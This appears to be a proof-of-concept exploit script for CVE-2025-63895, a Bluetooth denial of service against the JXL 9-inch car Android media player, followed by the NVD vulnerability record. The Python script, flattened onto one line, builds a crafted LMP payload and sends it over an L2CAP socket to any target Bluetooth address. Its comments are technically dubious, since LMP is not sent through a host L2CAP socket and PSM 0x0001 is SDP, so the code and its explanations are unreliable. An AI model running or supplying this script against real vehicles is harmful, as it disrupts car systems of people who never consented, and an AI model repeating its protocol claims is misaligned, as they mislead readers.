CVE-2025-63895

#!/usr/bin/env python3 # CVE-2025-63895 PoC - JXL Car Media Player Bluetooth DoS # Description: Send crafted LMP packet to trigger DoS on JXL Bluetooth firmware import struct import socket import sys def create_crafted_lmp_packet(): """Create a malformed LMP packet to trigger vulnerability""" # LMP opcode for feature request (0x01) - can be modified lmp_opcode = 0x01 # Create LMP PDU header # LMP format: Company ID (3 bytes) + Opcode + Payload company_id = 0x00001F # Bluetooth SIG assigned company ID # Crafted payload with invalid parameters # This triggers buffer/process error in firmware payload = bytes([ 0xFF, 0xFF, 0xFF, 0xFF, # Invalid feature mask 0x00, 0x00, 0x00, 0x00 # Additional malformed data ]) # Construct LMP packet lmp_packet = struct.pack('>I', company_id)[1:] # 3 bytes company ID lmp_packet += bytes([lmp_opcode]) lmp_packet += payload return lmp_packet def send_bluetooth_dos(target_bdaddr, lmp_packet): """Send crafted LMP packet via Bluetooth L2CAP connection""" try: # Create Bluetooth socket sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_L2CAP) sock.connect((target_bdaddr, 0x0001)) # L2CAP Signalling Channel # Send crafted LMP packet sock.send(lmp_packet) sock.close() print(f"[+] Crafted LMP packet sent to {target_bdaddr}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_bluetooth_address>") print(f"Example: {sys.argv[0]} AA:BB:CC:DD:EE:FF") sys.exit(1) target = sys.argv[1] packet = create_crafted_lmp_packet() print(f"[*] Sending crafted LMP packet to trigger CVE-2025-63895...") send_bluetooth_dos(target, packet)

{"cve": {"id": "CVE-2025-63895", "sourceIdentifier": "[email protected]", "published": "2025-12-10T20:16:21.317", "lastModified": "2026-01-02T21:21:27.887", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the Bluetooth firmware of JXL 9 Inch Car Android Double Din Player Android v12.0 allows attackers to cause a Denial of Service (DoS) via sending a crafted Link Manager Protocol (LMP) packet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:jxlindia:jxl_9_inch_car_android_double_din_player_firmware:12.0:*:*:*:*:*:*:*", "matchCriteriaId": "2EBB52B2-D647-4D78-A88D-92ACDF6A3D70"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:jxlindia:jxl_9_inch_car_android_double_din_player:-:*:*:*:*:*:*:*", "matchCriteriaId": "A8893190-837B-4841-8E92-F525A8488327"}]}]}], "references": [{"url": "http://jxl.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/thorat-shubham/JXL_Infotainment_CVE-2025-63895/blob/main/README.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}